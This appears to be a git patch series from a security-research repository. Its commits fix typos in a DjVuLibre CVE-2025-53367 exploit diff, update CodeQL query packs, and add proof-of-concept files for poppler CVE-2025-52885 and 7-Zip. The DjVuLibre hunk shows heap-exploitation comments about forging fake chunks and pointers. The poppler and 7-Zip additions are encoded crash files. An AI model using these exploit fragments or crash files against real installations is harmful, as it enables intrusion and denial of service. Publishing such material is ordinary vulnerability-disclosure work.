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 U2N_6}7YRs}m-R4JUIH5a2hin%EC2ui literal 0 HcmV?d00001 From f920f692745bcf9dc975afe55d9c55aa1cdf9c6f Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Fri, 18 Jul 2025 16:14:52 +0100 Subject: [PATCH 126/140] Fix typos --- .../DjVuLibre-poc-CVE-2025-53367.diff | 4 ++-- .../DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff index 44151b2..8104f7d 100644 --- a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/DjVuLibre-poc-CVE-2025-53367.diff @@ -68,7 +68,7 @@ index a87a83b..b88923b 100644 private: friend class JB2Codec; diff --git a/tools/c44.cpp b/tools/c44.cpp -index df73468..199079a 100644 +index df73468..145caff 100644 --- a/tools/c44.cpp +++ b/tools/c44.cpp @@ -211,6 +211,8 @@ @@ -1261,7 +1261,7 @@ index df73468..199079a 100644 +// this function finishes. dst is the destination of the memcpy. dst +// needs to point to a fake chunk, which will get freed and then +// immediately reallocated. size is the number of bytes that will be -+// memcpy'd, which much match the size of the fake chunk at dst. ++// memcpy'd, which must match the size of the fake chunk at dst. +static void prepare_fake_bitmap_for_memcpy(BitPacker &packer, size_t &lineno, + uint16_t dst, uint16_t size) { + // Forge a pointer to dst in fake_rlerows. diff --git a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md index 48edc34..dcfdcf0 100644 --- a/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md +++ b/SecurityExploits/DjVuLibre/MMRDecoder_scanruns_CVE-2025-53367/README.md @@ -50,7 +50,7 @@ aa-exec -d -v -p /usr/bin/papers /bin/bash -c "echo 1337 > ~/pwned.txt" We published this (much simpler) version of the poc sooner, to help people quickly test whether they're running a vulnerable version of -DjVuLibre.This poc only causes the DjVuLibre library to crash. +DjVuLibre. This poc only causes the DjVuLibre library to crash. [Fuzzer-generated poc file](./fuzzer-poc.djvu) From a7d34a19410044e7040c48b2bfe00cfdf70906db Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 12:16:18 +0000 Subject: [PATCH 127/140] Add devcontainer with VS Code CodeQL extension --- .devcontainer/devcontainer.json | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 .devcontainer/devcontainer.json diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json new file mode 100644 index 0000000..10b73eb --- /dev/null +++ b/.devcontainer/devcontainer.json @@ -0,0 +1,27 @@ +{ + "customizations": { + "codespaces": { + "extensions": [ + "github.vscode-codeql" + ], + "settings": { + "codeQL.runningQueries.memory": 4096, + "codeQL.runningQueries.autoSave": true, + "CodeQL.canary.enabled": true + } + }, + "vscode": { + "extensions": [ + "github.vscode-codeql" + ], + "settings": { + "codeQL.runningQueries.memory": 4096, + "CodeQL.canary.enabled": true + }, + } + }, + "postCreateCommand": "", + "hostRequirements": { + "memory": "16gb" + } + } \ No newline at end of file From 353aff3e60f33048bf5a266a576bb5ee2a5220f0 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 12:32:26 +0000 Subject: [PATCH 128/140] Update cpp qlpack --- CodeQL_Queries/cpp/codeql-pack.lock.yml | 22 ++++++++++++++++++++++ CodeQL_Queries/cpp/qlpack.yml | 3 ++- 2 files changed, 24 insertions(+), 1 deletion(-) create mode 100644 CodeQL_Queries/cpp/codeql-pack.lock.yml diff --git a/CodeQL_Queries/cpp/codeql-pack.lock.yml b/CodeQL_Queries/cpp/codeql-pack.lock.yml new file mode 100644 index 0000000..9e6ef6f --- /dev/null +++ b/CodeQL_Queries/cpp/codeql-pack.lock.yml @@ -0,0 +1,22 @@ +--- +lockVersion: 1.0.0 +dependencies: + codeql/cpp-all: + version: 0.12.11 + codeql/dataflow: + version: 0.2.5 + codeql/rangeanalysis: + version: 0.0.13 + codeql/ssa: + version: 0.2.14 + codeql/tutorial: + version: 0.2.14 + codeql/typeflow: + version: 0.0.1 + codeql/typetracking: + version: 0.2.14 + codeql/util: + version: 0.2.14 + codeql/xml: + version: 0.0.1 +compiled: false diff --git a/CodeQL_Queries/cpp/qlpack.yml b/CodeQL_Queries/cpp/qlpack.yml index 12a2c1b..79fb96a 100644 --- a/CodeQL_Queries/cpp/qlpack.yml +++ b/CodeQL_Queries/cpp/qlpack.yml @@ -1,3 +1,4 @@ name: codeql-demos-cpp version: 0.0.0 -libraryPathDependencies: codeql-cpp +dependencies: + codeql/cpp-all: ^0.12.0 From 7ea73e9eb5489f089f6973b20a5b53d3720c630f Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 12:48:31 +0000 Subject: [PATCH 129/140] Update csharp qlpack files --- CodeQL_Queries/csharp/codeql-pack.lock.yml | 18 ++++++++++++++++++ CodeQL_Queries/csharp/qlpack.yml | 3 ++- 2 files changed, 20 insertions(+), 1 deletion(-) create mode 100644 CodeQL_Queries/csharp/codeql-pack.lock.yml diff --git a/CodeQL_Queries/csharp/codeql-pack.lock.yml b/CodeQL_Queries/csharp/codeql-pack.lock.yml new file mode 100644 index 0000000..f9e4322 --- /dev/null +++ b/CodeQL_Queries/csharp/codeql-pack.lock.yml @@ -0,0 +1,18 @@ +--- +lockVersion: 1.0.0 +dependencies: + codeql/controlflow: + version: 0.0.4 + codeql/csharp-all: + version: 0.7.5 + codeql/dataflow: + version: 0.0.4 + codeql/mad: + version: 0.1.5 + codeql/ssa: + version: 0.1.5 + codeql/tutorial: + version: 0.1.5 + codeql/util: + version: 0.1.5 +compiled: false diff --git a/CodeQL_Queries/csharp/qlpack.yml b/CodeQL_Queries/csharp/qlpack.yml index a6e22f5..9043685 100644 --- a/CodeQL_Queries/csharp/qlpack.yml +++ b/CodeQL_Queries/csharp/qlpack.yml @@ -1,3 +1,4 @@ name: codeql-demos-csharp version: 0.0.0 -libraryPathDependencies: codeql-csharp +dependencies: + codeql/csharp-all: ^0.7.3 From 90deeccef40163c74114b20a598608d950fcbdfb Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 13:00:39 +0000 Subject: [PATCH 130/140] Update java qlpack files --- CodeQL_Queries/java/codeql-pack.lock.yml | 20 ++++++++++++++++++++ CodeQL_Queries/java/qlpack.yml | 3 ++- 2 files changed, 22 insertions(+), 1 deletion(-) create mode 100644 CodeQL_Queries/java/codeql-pack.lock.yml diff --git a/CodeQL_Queries/java/codeql-pack.lock.yml b/CodeQL_Queries/java/codeql-pack.lock.yml new file mode 100644 index 0000000..145615c --- /dev/null +++ b/CodeQL_Queries/java/codeql-pack.lock.yml @@ -0,0 +1,20 @@ +--- +lockVersion: 1.0.0 +dependencies: + codeql/dataflow: + version: 0.0.4 + codeql/java-all: + version: 0.7.5 + codeql/mad: + version: 0.1.5 + codeql/regex: + version: 0.1.5 + codeql/ssa: + version: 0.1.5 + codeql/tutorial: + version: 0.1.5 + codeql/typetracking: + version: 0.1.5 + codeql/util: + version: 0.1.5 +compiled: false diff --git a/CodeQL_Queries/java/qlpack.yml b/CodeQL_Queries/java/qlpack.yml index 42457d1..67c920d 100644 --- a/CodeQL_Queries/java/qlpack.yml +++ b/CodeQL_Queries/java/qlpack.yml @@ -1,3 +1,4 @@ name: codeql-demos-java version: 0.0.0 -libraryPathDependencies: codeql-java +dependencies: + codeql/java-all: ^0.7.0 From 7a9811112c682aa754b9bf0fe1070450bae2f772 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 13:16:47 +0000 Subject: [PATCH 131/140] Update JS qlpack files --- CodeQL_Queries/javascript/codeql-pack.lock.yml | 6 ++++++ CodeQL_Queries/javascript/qlpack.yml | 4 +++- 2 files changed, 9 insertions(+), 1 deletion(-) create mode 100644 CodeQL_Queries/javascript/codeql-pack.lock.yml diff --git a/CodeQL_Queries/javascript/codeql-pack.lock.yml b/CodeQL_Queries/javascript/codeql-pack.lock.yml new file mode 100644 index 0000000..8c25940 --- /dev/null +++ b/CodeQL_Queries/javascript/codeql-pack.lock.yml @@ -0,0 +1,6 @@ +--- +lockVersion: 1.0.0 +dependencies: + codeql/javascript-all: + version: 0.3.0 +compiled: false diff --git a/CodeQL_Queries/javascript/qlpack.yml b/CodeQL_Queries/javascript/qlpack.yml index 0c9e262..716a3c7 100644 --- a/CodeQL_Queries/javascript/qlpack.yml +++ b/CodeQL_Queries/javascript/qlpack.yml @@ -1,3 +1,5 @@ name: codeql-demos-javascript version: 0.0.0 -libraryPathDependencies: codeql-javascript +dependencies: + codeql/javascript-all: 0.3.0 + From e52d884d2d73d5f63b9f84ba7b5c0092a8278c46 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 13:18:49 +0000 Subject: [PATCH 132/140] Add intructions for query running --- CodeQL_Queries/README.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 CodeQL_Queries/README.md diff --git a/CodeQL_Queries/README.md b/CodeQL_Queries/README.md new file mode 100644 index 0000000..a749dcd --- /dev/null +++ b/CodeQL_Queries/README.md @@ -0,0 +1,19 @@ +To run the queries in this repository: +1. Click the green "Code" button > Codespaces > Create a codespace on main. A new codespace will be created for you with VS Code CodeQL extension preinstalled. +2. When the codespace finishes setting up, open the terminal, and find the path to the codeql binary (which comes preinstalled with the VS Code CodeQL extension) with the command: +```bash +find ~ -type f -name codeql -executable 2>/dev/null +``` +It will most likely look similar to this: +``` +/home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql +``` +3. Using the CodeQL binary, go to the language folder with the query you want to run `codeql pack install, for example: +```bash +cd cpp +/home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql pack install +``` +This will install the CodeQL library files required to run the CodeQL queries. +4. Press `Ctrl/Cmd + Shift + R` to reload the window to see syntax highlighting etc. +5. Check the README in the folder with the query you are interested in, and add the database listed in the README to your VS Code CodeQL extension. +6. Open the query file you are interested in, right-click and choose `CodeQL: Run Query on selected database` from the dropdowns. From df232612781018f880dc507001838fe1d2e7e3db Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 15:33:36 +0200 Subject: [PATCH 133/140] Update CodeQL_Queries/README.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- CodeQL_Queries/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CodeQL_Queries/README.md b/CodeQL_Queries/README.md index a749dcd..81ee49d 100644 --- a/CodeQL_Queries/README.md +++ b/CodeQL_Queries/README.md @@ -8,7 +8,7 @@ It will most likely look similar to this: ``` /home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql ``` -3. Using the CodeQL binary, go to the language folder with the query you want to run `codeql pack install, for example: +3. Using the CodeQL binary, go to the language folder with the query you want to run `codeql pack install`, for example: ```bash cd cpp /home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql pack install From 013bc3b19a46bbce54afb73d66254f9807a15638 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Wed, 27 Aug 2025 15:35:29 +0200 Subject: [PATCH 134/140] Update README.md --- CodeQL_Queries/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CodeQL_Queries/README.md b/CodeQL_Queries/README.md index 81ee49d..7c973da 100644 --- a/CodeQL_Queries/README.md +++ b/CodeQL_Queries/README.md @@ -8,7 +8,7 @@ It will most likely look similar to this: ``` /home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql ``` -3. Using the CodeQL binary, go to the language folder with the query you want to run `codeql pack install`, for example: +3. Go to the language folder with the query you want to run, and using the CodeQL binary, run `codeql pack install`. For example: ```bash cd cpp /home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql pack install From 90c4d88ffe1e771eef72b24dcfd1d4daea886286 Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Fri, 29 Aug 2025 13:41:22 +0200 Subject: [PATCH 135/140] Update intructions --- CodeQL_Queries/README.md | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/CodeQL_Queries/README.md b/CodeQL_Queries/README.md index 7c973da..1b8a73e 100644 --- a/CodeQL_Queries/README.md +++ b/CodeQL_Queries/README.md @@ -1,19 +1,6 @@ To run the queries in this repository: 1. Click the green "Code" button > Codespaces > Create a codespace on main. A new codespace will be created for you with VS Code CodeQL extension preinstalled. -2. When the codespace finishes setting up, open the terminal, and find the path to the codeql binary (which comes preinstalled with the VS Code CodeQL extension) with the command: -```bash -find ~ -type f -name codeql -executable 2>/dev/null -``` -It will most likely look similar to this: -``` -/home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql -``` -3. Go to the language folder with the query you want to run, and using the CodeQL binary, run `codeql pack install`. For example: -```bash -cd cpp -/home/codespace/.vscode-remote/data/User/globalStorage/github.vscode-codeql/distribution1/codeql/codeql pack install -``` -This will install the CodeQL library files required to run the CodeQL queries. +2. When the codespace finishes setting up, press `Ctrl/CMD + Shift + P` and type `CodeQL: Install Pack Dependencies`. Choose the queries you are interested in from the dropdown and press `OK`. This will install the CodeQL library files required to run the CodeQL queries. 4. Press `Ctrl/Cmd + Shift + R` to reload the window to see syntax highlighting etc. 5. Check the README in the folder with the query you are interested in, and add the database listed in the README to your VS Code CodeQL extension. 6. Open the query file you are interested in, right-click and choose `CodeQL: Run Query on selected database` from the dropdowns. From 13560528e5f4ac6617c771fb9d60837645144ce0 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Tue, 14 Oct 2025 13:00:28 +0100 Subject: [PATCH 136/140] Proof of concept for poppler CVE-2025-52885 --- .../poppler-CVE-2025-52885/README.md | 28 ++++++++++++++++++ .../poppler-CVE-2025-52885/bug.pdf | Bin 0 -> 8987 bytes 2 files changed, 28 insertions(+) create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md create mode 100644 SecurityExploits/freedesktop/poppler-CVE-2025-52885/bug.pdf diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md b/SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md new file mode 100644 index 0000000..859f7b6 --- /dev/null +++ b/SecurityExploits/freedesktop/poppler-CVE-2025-52885/README.md @@ -0,0 +1,28 @@ +# Proof of concept for poppler CVE-2025-52885 + +CVE-2025-52885 is a use-after-free vulnerability in +[poppler](https://gitlab.freedesktop.org/poppler). The bug is in +[StructTreeRoot.cc](https://gitlab.freedesktop.org/poppler/poppler/-/blob/2a3135888b6079f0a9fd6410ff65351482087b50/poppler/StructTreeRoot.cc). As +far as we know, this code is only used when one of poppler's command +line tools is run with a non-default command line option, so the +vulnerability does not affect the most common uses of poppler. + +This directory contains a poc which triggers the bug. To run it: + +```bash +pdfinfo -struct bug.pdf +``` + +In our testing, this causes `pdfinfo` to crash with the following error message: + +``` +free(): invalid next size (fast) +Aborted +``` + +## Links: + +* https://gitlab.freedesktop.org/poppler/poppler/-/issues/1580 +* https://gitlab.freedesktop.org/poppler/poppler/-/merge_requests/1884 +* https://securitylab.github.com/advisories/GHSL-2025-042_poppler/ +* https://www.openwall.com/lists/oss-security/2025/10/13/2 diff --git a/SecurityExploits/freedesktop/poppler-CVE-2025-52885/bug.pdf b/SecurityExploits/freedesktop/poppler-CVE-2025-52885/bug.pdf new file mode 100644 index 0000000000000000000000000000000000000000..57b7c92aa4442c21aa570ab0de190ba2f4aa0827 GIT binary patch literal 8987 zcmeGiO>f*p)Ggw$mJkt~Xb(Iws-8^q$&MSsdn0|XT~#c=6%06W90`^ zHPzWDw!?ToWLm0tEto=cPDS6U!f+4l4#J?syrgk&XMFIYRF2Fe91y%*hUF6w> znhe0lz!b|xJD?!ySugrcbcpVExY3}*b45m&_#BmB%`E6pifOzjVT;lzM1s+ zXo?)xb$#Z%En)TgV+$ST1)qbB=4aOq@1b;%nomurWaCvGs-~>*)75IFidG@(Gg2$y z1H8#Cg)s-I@lQ>~v@}SV6LSuP{Z5U~CTVHlu~mBy<&7*(MGQ$-GG+#VSaX|Tp`}oi z8dRalYgaVw_)kS!VI}Q&jGi417`cm2h2HXBe+SJocN1^94;f4%%S&xoThs3}RSt*$ z6ep2Q$4Td#eA2L`CE$f6tYirVz8aMg1zr#Z%tf{pI2eEN*h&Nrkcj+KNiR89A?2yu zrfM+@l9g7$b-!eQ5g$N>ba>e%*8|%1`D<76o5}0nQ*8z{G*h4cHc;hNMK?(GU(Pm$ zX*5P_6xOsJXg8pG83P#|9;7+r@;kP_@sAHcZw9y@5r!vQ z=%O9Nk`hxqXE`bRefhR%;S^k1DjzMPzmI4$++#qk<~#R0cYWvZ@K9G2{5?FZVd(k@ z;W{<^Ik<4~0{s_-ql3sTBkl<$>j~nxh_(ngLn^c1BeyR~Tt~#_?TBr}80?U_M&b-W zJ0LQ0Xu?Ni@B~WQl8-ur;eiAeWtt?;==zR-RMJ*l{~pR1$)T2|DMI+BQ3%iT%;r*_ z#6$@6W1J8QG7lp!KVqV*RzrnJiSQj!0-&E05&zfGA^SW_;#67d?NVZ65Qe$Z{(wd= z0^+BQ#o?6%${#^oDygMkb4B3Ikuj@FyS^bbGAEcrMM;vNo6k^C z#tQMc_o~I?k_8Y|$th5^=eva-(aZdimK%8hq!xxUA6% zoimLzI-|1oDrVRt1;(r~bsb9LEMI0!dYS^~RLgZSJ|C8{@@zQ?Z6OIkqcrPIPWiMo zJeS2Y70S!2{X@Pqzb_sHPA5Z>v%}(yy}_fybVgxa9GD%;%|O|C!U1IMgso*dM3qs* zga_BRB`n?dI5kK+n$S}?@ z#yrEA;yu;-gU-f~E_k>LGwHUB3Z)if;uO0&2Wh4+JEi;`*lpKu_>r3)AfR_N&#*@` zzen__{GNys{mk3pHDN}xSIBh}jRd8#oxWJtJrX@mZlZf$^adI6A4E^EvcOPT^s>c^ zV~Q~yzAp-fc?QWaF{ Date: Fri, 24 Oct 2025 19:22:53 +0000 Subject: [PATCH 137/140] 7-zip PoCs --- SecurityExploits/7-Zip/README.md | 36 ++++++++++++++++++++++ SecurityExploits/7-Zip/compound-crash.poc | Bin 0 -> 24663 bytes 